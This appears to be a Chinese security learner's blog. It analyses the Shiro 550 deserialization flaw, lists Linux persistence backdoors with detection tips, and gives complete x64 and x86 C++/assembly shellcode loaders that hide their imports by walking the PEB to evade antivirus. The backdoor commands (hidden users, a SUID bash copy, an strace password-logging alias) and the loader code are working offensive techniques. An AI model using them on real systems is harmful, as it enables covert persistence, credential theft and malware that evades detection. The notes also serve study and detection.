0%

shiro550漏洞分析

今天来仔细研究一下这个漏洞

环境搭建暂时就不说了,这个可以在网上找教程,直接开始漏洞分析,祝福。

漏洞分析

加密

漏洞产生点在CookieRememberMeManager该位置,来看到rememberSerializedIdentity方法。

image-20240206134650560
在此处,对序列化的字节数组进行base64编码,并将编码结果设置为cookie值。那我们看看是什么地方调用了这个方法.

image-20240206140748579
点这个2个用法,这样就可以看到是在哪里用了这个方法.
image-20240206140835289
可以看到是AbstractRememberMeManager类里面调用了这个方法

image-20240206141831432
还可以用ctrl+alt+h来看是哪些东西调用了这个方法
image-20240206144038527在这里会发现rememberIdentity方法会被onSuccessfulLogin方法给调用,跟踪到这一步,就看到了onSuccessfulLogin登录成功的方法。

image-20240206144121521

当登录成功后会调用AbstractRememberMeManager.onSuccessfulLogin方法,该方法主要实现了生成加密的RememberMe Cookie,然后将RememberMe Cookie设置为用户的Cookie值。在前面我们分析的rememberSerializedIdentity方法里面去实现了。

接下来,我们在这个登陆函数这里打个断点,进行分析,正向的。
开始环境,然后输入账号密码,root,secret
image-20240206144748667
image-20240206144807380
idea里面都可以看到穿进去了
这里看到调用了isRememberMe很显而易见得发现这个就是一个判断用户是否选择了Remember Me选项。
image-20240206144910533
这里进入这个rememberIdentity方法

前面说过该方法会去生成一个PrincipalCollection对象,里面包含登录信息。F7进行跟进rememberIdentity方法。
image-20240206144958818

image-20240206145025830
查看convertPrincipalsToBytes的使用,根据英文名字,我们都可以猜测,这个点作用就是将凭证转化为字节流,不过我们还是跟进去看看
image-20240206150300541
跟进来看之后,发现是将凭证序列化之后,再进行转字节流数组。

这里我们接下来看另外一个地方,cipherService
image-20240206150612234
再来看到下一段代码,这里如果getCipherService方法不为空的话,就会去执行下一段代码。getCipherService方法是获取加密模式。

后面就是进行加密了
image-20240206150707538
我们跟入这个加密参数来看看
image-20240206150750007
可以看到,如果值不为空就进入加密。

image-20240206150842156
这里,有个getEncryptionCipherKey()从名字看,就是获取加密密钥的,我们这里就跟进去看看,是怎么获取密钥的。
image-20240206150929704
然后看下面哈
image-20240206152218420
看,下面那个setEncryptionCipherKey在AbstractRememberMeManager.java的AbstractRememberMeManager方法中被调用了。
image-20240206152349191
然后去查看这个DEFAULT_CIPHER_KEY_BYTES的值
image-20240206152424668
可以看到,密钥是被定义死的,那么加密过程基本就很清晰了

凭证等值->tobytes->aes->base64

解密

现在看看解密的过程

image-20240206235351390
还是在AbstractRememberMeManager.decrypt中,一层一层网上追溯。
image-20240206235516557
在convertBytesToPrincipals方法中使用了解密方法,继续网上追溯
image-20240206235707082
在这个getRememberedPrincipals方法中调用了convertBytesToPrincipals方法,从名字我们就可以看出,这个getRememberedPrincipals是获取登陆凭证的一个函数

好,那我们就在这个方法中下一个断点,一步一步跟踪。

image-20220902000758049

首先rememberme传进来之后,就会进行base解密,之后和加密差不多,最后就是传入readObject()导致的反序列化漏洞。

漏洞攻击

就用工具即可
image-20240207001003892

常见linux维权方法-权限维持与后门处置

linux常见维权方法

添加用户

1
2
3
创建一个用户名guest密码123456的普通用户
useradd -p `openssl passwd -l -salt 'salt' 123456` guest
useradd -p方法,``是用来存放可执行的系统命令, 其中openssl passwd可以理解为一种加密方式
1
2
chpasswd方法
useradd guest;echo 'guest:123456'|chpasswd // /etc/shadow用这个命令可以写入
1
2
echo -e方法
useradd test;echo -e "123456\n123456\n" |passwd test

可疑用户排查技巧

1
2
查询特权用户(uid为0)
awk -F: '$3==0{print$1}' /etc/passwd

image-20240201005717935

1
2
查询可以远程登录的账号信息
awk '/\$1|\$6/{print$1}' /etc/shadow
1
2
3
除root账号外,其他账号是否存在sudo权限
如非管理需要,普通账号应该删除sudo权限
more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"

SUID shell

suid shell 是一种可用于以拥有者权限运行的shell
配合普通用户权限使用

1
2
cp /bin/bash /tmp/shell
chmod u+s /tmp/shell

suid shell的排查技巧

1
2
3
4
在linux中查找suid设置的文件
find . -perm /4000
该命令的作用是查找当前目录及其子目录下所有设置了SUID权限位的文件,并将它们列出来。

具体来说,”.”表示当前目录,”-perm /4000”表示要查找文件的权限掩码中包含4000的文件。4000代表SUID位,当某个文件设置了SUID权限位时,该文件将以拥有该文件的所有者的身份运行,而不是以执行该文件的用户的身份运行。这种权限通常用于特定的系统任务,如密码更改等

1
2
在linux中查找使用sgid设置的文件
find . -perm /2000
1
2
取消s权限
chmod u-s /tmp/shell

ssh公私钥免密登陆

在客户端上生成一堆公私钥,然后把公钥放到服务器上(~/.ssh/authorized_keys),保留私钥。当ssh登陆时,ssh程序会发送私钥去和服务器上的公钥最匹配,匹配成功就可以登陆了。

客户端公钥生成
ssh-keygen -t rsa
然后将公钥追加到/root/.ssh/authorized_keys内即可

ssh公私钥免密登陆排查技巧

查看/root/.ssh/authorized_keys是否被修改过

软连接

实质上就是PAM认证是通过软连接的文件名/tmp/su在/etc/pam.d/目录下寻找对应的PAM配置文件(如/etc/pam.d/su),任意密码登陆的核心是auth sufficient pam_rootok.so,所以只要PAM配置文件中包含此配置即可ssh任意密码登陆,除了su中之外还有chsh、chfn同样可以

软连接排查技巧

image-20240201132243110

SSH wrapper

这个就理解为反弹shell就行。但这个是长连接的反弹shell,就是可以一直连接。

ssh wrapper排查技巧

ls -al /usr/sbin/sshd
cat /usr/sbin/sshd
可通过重装ssh服务来恢复

strace后门

通过命令替换动态跟踪系统调用和数据,可以用来记录用户ssh、su、sudo的操作

1
2
3
vim /etc/bashrc
alias ssh='strace -o /tmp/.ssh.log -e read,write,connect -s 2048 ssh'
source /root/.bashrc

strace后门排查

使用alias即可发现异常

image-20240201133643755

计划任务反弹shell

这个我就不说了吧,

排查计划任务

crontab -e

openssh后门

利用openssh后门,设置ssh后门密码及root密码记录位置,隐蔽性强,不易被发现

1
2
3
4
备份ssh配置文件
mv /etc/ssh/ssh_config /etc/ssh/ssh_config.old

mv /etc/ssh/sshd_config /etc/ssh/sshd_config.old

image-20240201153909636
image-20240201154000929
image-20240201154020299

openssh排查技巧

利用strace找出ssh后门

1
2
3
4
5
6
获取可疑ip
ps aux | grep sshd
跟踪sshd pid
strace -o aa -ff -p PID
查看记录密码打开文件
grep open sshd* | grep -v -e No -e null -e denied | grep WR

PAM后门

LINUX留后门–教程(六)—— PAM后门_pam_unix.so-CSDN博客

先不实操了,主要是刷课,了解大纲

rookit后门

Mafix是一款常用的轻量应用级别Rootkits,是通过伪造ssh协议漏洞实现远程登陆的特点是配置简单并可以自定义验证密码和端口

安装完成后,直接 ssh用户@IP -P 端口

排查技巧

查看端口是否异常,RPM chake查看命令是否被替换

image-20240201155135768

这个也是一个大类的哈,我们后面会专门出

主流rootkit实现有下面三种方式:
库文件劫持
系统文件替换
LKM

C语言3-IAT表、shellcode loader

基础

image-20240119122426842

用名称找函数就放在INT表里面,如果是地址找函数就凡在IAT表里面,虽然我也不是很懂,pe结构我学了几天了,暂时不想学了,后面再补上。

image-20240119122609063

在pe加载进内存之后,iat表里面就不再指向函数的名称了,而是存储到函数的地址

正常加载函数和dll加载函数

现在看看正常函数调用的反汇编
image-20240119123043585

可以看到他的内存是写死了的,但是我们看看调用windowsAPI哈,这个就是跳到dll
image-20240119135902769
image-20240119135924070
继续往下更进
image-20240119140048733
最后发现跳到一个7开头的内存地址,这个7开头的内存地址绝对不是程序本身的内存地址了,就是不再程序的堆栈里面,因为可以看到刚刚我们的反汇编里面,基本都是0开头的,所以这个7开头的肯定是dll里面去了。
这里解释一下,由于程序加载进内存的时候,还会加载很多的dll,而为了防止出错,程序不会把任何两个dll文件加载进同一块内存中。可是这个时候就出现了一个问题,如果我本来存dll的内存块被我自己的一个dll文件占领了呢?那么,就会把原来存在这个dll挤开,所以dll的地址都是动态的,存到内存中的,就像上面那张图片,call到一个内存地址中取,而那个地址就存有目标dll的内存地址。

从导入表查看函数

这里使用vs自带的dumpbin来看看
image-20240119144844766
命令如下dumpbin.exe /imports 目标文件路径
image-20240119144951384
可以看到哈(用的就是上面那个程序),这里就可以从导入表看到这个这个东西。

shellcode loader

我之前其实作为门外汉研究过平时的shellcode loader代码,在我的blog里面其实也有写,可以看看。当时还局限于加密解密shellcode,现在系统学习免杀,不断提高捏。

要搜这些api的官方文档用msdn就可,不是csdn哈。
而shellcode loader的编写也有两种方法,可以用指针执行,也可以用汇编语句执行。
image-20240120153125419
其中对于免杀来说,类似VirtualAlloc CreateThread Write ProcessMemory这些api肯定是被重点监控的,我们可以进行一些替换例如VirtualAlloc

虽然可以替换api,但是本质上,要让shellcode跑起来,必须要一块可读可写可执行的内存对吧,所以我们替换这些api,其实只是让杀软不那么在意你申请的内存,因为上面的api都是些敏感的api了。

回调函数机制

把一段可执行的代码像参数传递那样给其他代码,而这段代码会在某个时刻被调用执行,这就叫做回调。如果代码立即被执行就称为同步回调,如果在之后晚点的某个时间再执行,则称之为异步回调。
image-20240120155029039

同样图片中的

扩展:defender有内存查杀,但是360没有

经典的隐藏导入表

双机调试环境

扩展:搭建双机调试环境(可以自己看看百度) windbg

每个线程都有一个TEB结构来存储线程的一些属性结构,TEB的地址用fs:[0]来获取

image-20240121192853804

image-20240121192942895

很好,开始看不懂了。哦,懂了,就是就是我们要定位一个dll的地址的话,可以进行如下操作
image-20240121193151924
这个就要用那个双机调试环境,具体可以百度(我后续会单独发文)

64位环境定位PEB内部的dll地址实践

原理

首先我要在这里说说这个的原理是什么啊,就是说导入表会检查我们程序用了哪些dll对吧,因为dumpbin其实就是通过检查pe文件的导入表来看你这个pe文件用了哪些函数对吧
那接下来我们介绍一下导入表
image-20240121230255105

2.5 PE结构:导入表详细解析 - lyshark - 博客园 (cnblogs.com)

具体可以看上面那个博客,讲的非常详细,虽然我看的一知半解的,但是还是继续学下去。

好吧,继续说会话题,主动找到函数地址来调用函数不会记录到导入表,而怎么找到函数地址呢,那就需要使用GetProAddress函数了,这个函数在kernel32.dll里面,我们就需要手动定位这个dll里面的函数地址就可以了,步骤如下

1
2
3
4
5
获取 InInitializationOrderModuleList 地址
遍历 InInitializationOrderModuleList 获取 EXE 运行自动加载的 Kernel32.dll 地址
遍历 Kernel32.dll 导出表,获取 GetProcAddress 函数地址
通过 GetProcAddress 地址调用 GetProcAddress 函数获取其他必要函数地址
通过必要函数地址调用必要函数加载 ShellCode

实践之获取PEB位置

通过PEB寻找函数地址 - Bl0od - 博客园 (cnblogs.com)

可参考

image-20240121193340506
image-20240121193759404
好好好,这些都要自己去实践才行,但是又特别枯燥,很烦,坚持下去把。这里实践一下哈

首先打开你的vs,创建一个新的文件,用来存储汇编代码

image-20240121194615296

1
2
3
4
5
6
.CODE
GetPEB PROC
mov rax,gs:[60h]
ret
GetPEB ENDP
END

这段汇编代码是用于获取进程环境块(Process Environment Block,PEB)的函数。PEB是Windows操作系统中的一个数据结构,记录了当前进程的各种信息和状态。

具体来说,这段代码的功能是通过读取gs寄存器的偏移地址0x60处的值,将其保存到rax寄存器中,并返回。在Windows x64平台上,gs寄存器用于指向当前线程的Thread Information Block(TIB),而TIB中的一个成员就是PEB的地址。

通过这个函数,可以方便地获取进程的PEB结构体,从而获得进程的重要信息,如模块列表、命令行参数等。

image-20240121195141499
第二步就是进入这个文件的属性页面,然后设置将其在生成中排除设置成否。就相当于要和我们一起生成
image-20240121195250452
然后就是将这个改成自定义生成工具,应用一下。

然后在出现的自定义生成工具中填两项,如下
命令行:ml64 /Fo $(IntDir)%(fileName).obj /c %(filename).asm
输出:$(IntDir)%(fileName).obj
image-20240121200005252
image-20240121213201284

然后导入(记得加分号)
image-20240121213557248
最后运行,成功拿到PEB的地址,当然,这只是第一步,我们的目标是什么,是拿到函数地址!

获取 x64_InInitializationOrderModuleList 地址

1
2
3
4
5
6
7
8
.CODE
GetInInitializationOrderModuleList PROC
mov rax,gs:[60h] ; PEB,不能写 0x60
mov rax,[rax+18h] ; PEB_LDR_DATA
mov rax,[rax+30h] ; InInitializationOrderModuleList
ret ; 不能写 retn
GetInInitializationOrderModuleList ENDP
END

这个汇编代码就会返回链表的头指针。

cpp代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#include <windows.h>

typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;

// 声明自定义函数,extern "C" 表示使用 C语言的调用约定
extern "C" PVOID64 __stdcall GetInInitializationOrderModuleList();

// 获取 Kernel32 地址
HMODULE GetKernel32Address() {
// 获取 InInitializationOrderModuleList
LIST_ENTRY* node = (LIST_ENTRY*)GetInInitializationOrderModuleList(); // LIST_ENTRY 是双向链表结构体

// 遍历 InInitializationOrderModuleList
while (1) {
UNICODE_STRING* fullDllName = (UNICODE_STRING*)((BYTE*)node + 0x38); // x86 偏移量是 0x24
if (*(fullDllName->Buffer + 12) == '\0') { // 模块完整名称是 KERNEL32.DLL\0
return (HMODULE)(*((ULONG64*)((BYTE*)node + 0x10))); // 返回模块基址(DllBase)
}
node = node->Flink; // 下一个节点
}
}

// 获取 GetProcAddress 函数地址
DWORD64 GetGetProcAddress(HMODULE hKernal32) {
// 获取 Kernel32.dll DOS头
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)hKernal32;

// 获取 NT头
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((LONG64)dos + dos->e_lfanew); // x64 指针是8字节,e_lfanew 是 DWORD 是4字节,所以要转 LONG64

// 获取导出表
PIMAGE_EXPORT_DIRECTORY exportDir = (PIMAGE_EXPORT_DIRECTORY)((LONG64)dos + nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

// 函数的地址为ULONG,所以用PULONG指针
PULONG RVAFunctions = (PULONG)((LONG64)dos + exportDir->AddressOfFunctions); // 获取导出函数的RVA(相对虚拟地址)数组地址
PULONG RVANames = (PULONG)((LONG64)dos + exportDir->AddressOfNames); // 获取导出函数名RVA数组地址
PUSHORT AddressOfNameOrdinals = (PUSHORT)((LONG64)dos + exportDir->AddressOfNameOrdinals); // 获取导出函数序号数组地址

// 遍历导出函数
for (size_t i = 0; i < exportDir->NumberOfNames; i++) {
PUCHAR functionName = (PUCHAR)((LONG64)dos + RVANames[i]); // 获取当前函数名地址
if (!strcmp((const char*)functionName, "GetProcAddress")) { // 函数名是 GetProcAddress
return (ULONG64)((LONG64)dos + RVAFunctions[(USHORT)AddressOfNameOrdinals[i]]); // 返回当前函数地址
}
}
}

// 定义函数指针类型
typedef FARPROC(WINAPI* pGetProcAddress)(HMODULE, LPCSTR);
typedef BOOL(WINAPI* pVirtualProtect)(LPVOID, DWORD, DWORD, PDWORD);
typedef HANDLE(WINAPI* pCreateThread)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
typedef DWORD(WINAPI* pWaitForSingleObject)(HANDLE, DWORD);

int main() {
unsigned char buf[] = "ShellCode";

HMODULE hKernal32 = GetKernel32Address(); // 获取 Kernel32 地址
pGetProcAddress GetProcAddress = (pGetProcAddress)GetGetProcAddress(hKernal32); // 获取 GetProcAddress 函数地址

// 获取必要函数地址
pVirtualProtect VirtualProtect = (pVirtualProtect)GetProcAddress(hKernal32, "VirtualProtect");
pCreateThread CreateThread = (pCreateThread)GetProcAddress(hKernal32, "CreateThread");
pWaitForSingleObject WaitForSingleObject = (pWaitForSingleObject)GetProcAddress(hKernal32, "WaitForSingleObject");

// 加载 ShellCode
DWORD oldProtect;
VirtualProtect((LPVOID)buf, sizeof buf, PAGE_EXECUTE_READWRITE, &oldProtect);
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)(LPVOID)buf, NULL, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
}

都有详细的注释不错。

接下来实践一下执行shellcode

image-20240122001700455

成功了

image-20240122002614109

导入表中没有信息

x86

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
#include <windows.h>

typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;

typedef struct _LDR_DATA_TABLE_ENTRY
{
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
UINT32 SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
UINT32 Flags;
USHORT LoadCount;
USHORT TlsIndex;
LIST_ENTRY HashLinks;
PVOID SectionPointer;
UINT32 CheckSum;
UINT32 TimeDateStamp;
PVOID LoadedImports;
PVOID EntryPointActivationContext;
PVOID PatchInformation;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;

// 获取 Kernel32 地址,与 x64 不同
HMODULE GetKernel32Address() {
// 获取 InLoadOrderModuleList
LDR_DATA_TABLE_ENTRY* node = NULL;
__asm {
mov eax, fs: [0x30] // PEB
mov eax, [eax + 0x0C] // PEB_LDR_DATA
mov eax, [eax + 0x0C] // InLoadOrderModuleList
mov node, eax
}

// 遍历 InLoadOrderModuleList
char kernel32Name[] = { 'K',0,'E',0,'R',0,'N',0,'E',0,'L',0,'3',0,'2',0,'.',0,'D',0,'L',0,'L',0,0,0 }; // unicode \0 结尾
while (1) {
if (!strcmp((const char*)node->BaseDllName.Buffer, kernel32Name)) { // 模块名是 KERNEL32.DLL\0
return (HMODULE)node->DllBase; // 返回模块基址
}
node = (LDR_DATA_TABLE_ENTRY*)node->InLoadOrderLinks.Flink; // 下一个节点
}
}

// 获取 GetProcAddress 函数地址,同 x64
DWORD64 GetGetProcAddress(HMODULE hKernal32) {
// 获取 Kernel32.dll DOS头
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)hKernal32;

// 获取 NT头
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((LONG64)dos + dos->e_lfanew); // x64 指针是8字节,e_lfanew 是 DWORD 是4字节,所以要转 LONG64

// 获取导出表
PIMAGE_EXPORT_DIRECTORY exportDir = (PIMAGE_EXPORT_DIRECTORY)((LONG64)dos + nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

// 函数的地址为ULONG,所以用PULONG指针
PULONG RVAFunctions = (PULONG)((LONG64)dos + exportDir->AddressOfFunctions); // 获取导出函数的RVA(相对虚拟地址)数组地址
PULONG RVANames = (PULONG)((LONG64)dos + exportDir->AddressOfNames); // 获取导出函数名RVA数组地址
PUSHORT AddressOfNameOrdinals = (PUSHORT)((LONG64)dos + exportDir->AddressOfNameOrdinals); // 获取导出函数序号数组地址

// 遍历导出函数
for (size_t i = 0; i < exportDir->NumberOfNames; i++) {
PUCHAR functionName = (PUCHAR)((LONG64)dos + RVANames[i]); // 获取当前函数名地址
if (!strcmp((const char*)functionName, "GetProcAddress")) { // 函数名是 GetProcAddress
return (ULONG64)((LONG64)dos + RVAFunctions[(USHORT)AddressOfNameOrdinals[i]]); // 返回当前函数地址
}
}
}

// 定义函数指针类型
typedef FARPROC(WINAPI* pGetProcAddress)(HMODULE, LPCSTR);
typedef BOOL(WINAPI* pVirtualProtect)(LPVOID, DWORD, DWORD, PDWORD);
typedef HANDLE(WINAPI* pCreateThread)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
typedef DWORD(WINAPI* pWaitForSingleObject)(HANDLE, DWORD);

int main() {
unsigned char buf[] = "ShellCode";

HMODULE hKernal32 = GetKernel32Address(); // 获取 Kernel32 地址
pGetProcAddress GetProcAddress = (pGetProcAddress)GetGetProcAddress(hKernal32); // 获取 GetProcAddress 函数地址

// 获取必要函数地址
pVirtualProtect VirtualProtect = (pVirtualProtect)GetProcAddress(hKernal32, "VirtualProtect");
pCreateThread CreateThread = (pCreateThread)GetProcAddress(hKernal32, "CreateThread");
pWaitForSingleObject WaitForSingleObject = (pWaitForSingleObject)GetProcAddress(hKernal32, "WaitForSingleObject");

// 加载 ShellCode
DWORD oldProtect;
VirtualProtect((LPVOID)buf, sizeof buf, PAGE_EXECUTE_READWRITE, &oldProtect);
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)(LPVOID)buf, NULL, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
}

将shellcode存储在资源里

image-20240122005256903